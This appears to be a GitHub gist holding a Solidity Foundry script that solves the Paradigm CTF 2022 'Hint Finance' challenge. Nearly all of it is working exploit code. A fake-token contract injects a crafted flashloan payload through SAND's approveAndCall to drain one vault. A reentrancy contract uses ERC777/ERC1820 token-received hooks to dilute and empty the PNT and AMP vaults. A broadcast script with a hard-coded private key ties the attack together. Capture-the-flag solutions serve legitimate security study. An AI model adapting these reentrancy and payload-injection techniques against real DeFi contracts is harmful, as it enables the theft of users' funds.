-
-
Save Philogy/61534359bbdccb016ebf86b21a0cb8a6 to your computer and use it in GitHub Desktop.
Paradigm CTF 2022 - Hint Finance Solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0-only | |
pragma solidity ^0.8.13; | |
import "forge-std/Script.sol"; | |
import {Test} from "forge-std/Test.sol"; | |
import {Setup, UniswapV2RouterLike} from "src/public/contracts/Setup.sol"; | |
import {HintFinanceVault, IHintFinanceFlashloanReceiver, ERC20Like} from "src/public/contracts/HintFinanceVault.sol"; | |
interface ISand is ERC20Like { | |
function approveAndCall( | |
address _target, | |
uint256 _amount, | |
bytes calldata _data | |
) external; | |
} | |
contract FakeToken { | |
fallback() external {} | |
function transfer(address, uint256) external returns (bool) { | |
return true; | |
} | |
function balanceOf(address) external view returns (uint256) { | |
return 1e18; | |
} | |
function stealSandFrom(address _sandVault, ISand _sand) external { | |
bytes memory innerPayload = abi.encodeWithSelector( | |
bytes4(0x00000000), | |
_sandVault, | |
bytes32(0), | |
bytes32(0), | |
bytes32(0) | |
); | |
bytes memory payload = abi.encodeCall( | |
HintFinanceVault.flashloan, | |
(address(this), 0xa0, innerPayload) | |
); | |
_sand.approveAndCall(_sandVault, type(uint256).max, payload); | |
_sand.transferFrom(_sandVault, msg.sender, _sand.balanceOf(_sandVault)); | |
} | |
} | |
interface IERC1820Registry { | |
function setInterfaceImplementer( | |
address account, | |
bytes32 interfaceHash, | |
address implementer | |
) external; | |
} | |
contract Reenterer { | |
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = | |
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; | |
IERC1820Registry internal constant _ERC1820_REGISTRY = | |
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); | |
bytes32 private constant _AMP_INTERFACE_HASH = | |
keccak256("AmpTokensRecipient"); | |
HintFinanceVault internal immutable pntVault; | |
HintFinanceVault internal immutable ampVault; | |
bool internal doReDeposit = true; | |
constructor(address _pntVault, address _ampVault) { | |
_ERC1820_REGISTRY.setInterfaceImplementer( | |
address(0), | |
_TOKENS_RECIPIENT_INTERFACE_HASH, | |
address(this) | |
); | |
_ERC1820_REGISTRY.setInterfaceImplementer( | |
address(0), | |
_AMP_INTERFACE_HASH, | |
address(this) | |
); | |
pntVault = HintFinanceVault(_pntVault); | |
ampVault = HintFinanceVault(_ampVault); | |
} | |
function depositPnt() external { | |
ERC20Like pnt = ERC20Like(pntVault.underlyingToken()); | |
pnt.approve(address(pntVault), type(uint256).max); | |
pntVault.deposit(pnt.balanceOf(address(this))); | |
} | |
function depositAmp() external { | |
ERC20Like amp = ERC20Like(ampVault.underlyingToken()); | |
amp.approve(address(ampVault), type(uint256).max); | |
ampVault.deposit(amp.balanceOf(address(this))); | |
} | |
function doPntDiluteCycle() external { | |
pntVault.withdraw(pntVault.balanceOf(address(this))); | |
} | |
function doAmpDiluteCycle() external { | |
ampVault.withdraw(ampVault.balanceOf(address(this))); | |
} | |
function cashOutPnt() external { | |
ERC20Like pnt = ERC20Like(pntVault.underlyingToken()); | |
doReDeposit = false; | |
pntVault.withdraw(pntVault.balanceOf(address(this))); | |
doReDeposit = true; | |
pnt.transfer(msg.sender, pnt.balanceOf(address(this))); | |
} | |
function cashOutAmp() external { | |
ERC20Like amp = ERC20Like(ampVault.underlyingToken()); | |
doReDeposit = false; | |
ampVault.withdraw(ampVault.balanceOf(address(this))); | |
doReDeposit = true; | |
amp.transfer(msg.sender, amp.balanceOf(address(this))); | |
} | |
function tokensReceived( | |
address operator, | |
address from, | |
address to, | |
uint256 amount, | |
bytes calldata userData, | |
bytes calldata operatorData | |
) external { | |
if (operator == address(pntVault) && doReDeposit) { | |
ERC20Like pnt = ERC20Like(pntVault.underlyingToken()); | |
pntVault.deposit(pnt.balanceOf(address(this))); | |
} | |
} | |
function tokensReceived( | |
bytes4 functionSig, | |
bytes32 partition, | |
address operator, | |
address from, | |
address to, | |
uint256 value, | |
bytes calldata data, | |
bytes calldata operatorData | |
) external { | |
if (operator == address(ampVault) && doReDeposit) { | |
ERC20Like amp = ERC20Like(ampVault.underlyingToken()); | |
ampVault.deposit(amp.balanceOf(address(this))); | |
} | |
} | |
} | |
contract ExploitScript is Script, Test { | |
uint256 internal constant MAX_BPS = 10_000; | |
function _stoleSufficient(Setup _s, uint256 _i) internal returns (bool) { | |
address token = _s.underlyingTokens(_i); | |
return | |
ERC20Like(token).balanceOf( | |
_s.hintFinanceFactory().underlyingToVault(token) | |
) <= _s.initialUnderlyingBalances(_i) / 100; | |
} | |
function _getStolen(Setup _s, uint256 _i) internal returns (uint256) { | |
address token = _s.underlyingTokens(_i); | |
return | |
MAX_BPS - | |
(MAX_BPS * | |
ERC20Like(token).balanceOf( | |
_s.hintFinanceFactory().underlyingToVault(token) | |
)) / | |
_s.initialUnderlyingBalances(_i); | |
} | |
function _buyWithEth( | |
address _token, | |
uint256 _amount, | |
address _recipient | |
) internal { | |
address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; | |
address[] memory path = new address[](2); | |
path[0] = weth; | |
path[1] = _token; | |
UniswapV2RouterLike(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a) | |
.swapExactETHForTokens{value: _amount}( | |
0, | |
path, | |
_recipient, | |
block.timestamp + 7 days | |
); | |
} | |
function run() public { | |
vm.startBroadcast(); | |
address user = vm.addr( | |
0xe4582be7ae3da393dd8404e16421224057da8ccef9e3a071a7bd20f9a56a96b4 | |
); | |
emit log_named_decimal_uint("user.balance", user.balance, 18); | |
Setup s = Setup(0x503b84CEB4e9C1BE7D550dCDD64cC3eA8a1250b7); | |
ISand sand = ISand(0x3845badAde8e6dFF049820680d1F14bD3903a5d0); | |
HintFinanceVault sandVault = HintFinanceVault( | |
s.hintFinanceFactory().underlyingToVault(address(sand)) | |
); | |
FakeToken fakeToken = new FakeToken(); | |
fakeToken.stealSandFrom(address(sandVault), sand); | |
emit log_named_decimal_uint("stolen SAND", _getStolen(s, 1), 4); | |
address pntAddr = 0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD; | |
address ampAddr = 0xfF20817765cB7f73d4bde2e66e067E58D11095C2; | |
Reenterer rawr = new Reenterer( | |
s.hintFinanceFactory().underlyingToVault(pntAddr), | |
s.hintFinanceFactory().underlyingToVault(ampAddr) | |
); | |
_buyWithEth(pntAddr, 2000 ether, address(rawr)); | |
rawr.depositPnt(); | |
rawr.doPntDiluteCycle(); | |
rawr.doPntDiluteCycle(); | |
rawr.doPntDiluteCycle(); | |
rawr.doPntDiluteCycle(); | |
rawr.cashOutPnt(); | |
_buyWithEth(ampAddr, 2000 ether, address(rawr)); | |
rawr.depositAmp(); | |
rawr.doAmpDiluteCycle(); | |
rawr.doAmpDiluteCycle(); | |
rawr.doAmpDiluteCycle(); | |
rawr.doAmpDiluteCycle(); | |
rawr.cashOutAmp(); | |
vm.stopBroadcast(); | |
emit log_named_uint("s.isSolved() ? 1 : 0", s.isSolved() ? 1 : 0); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment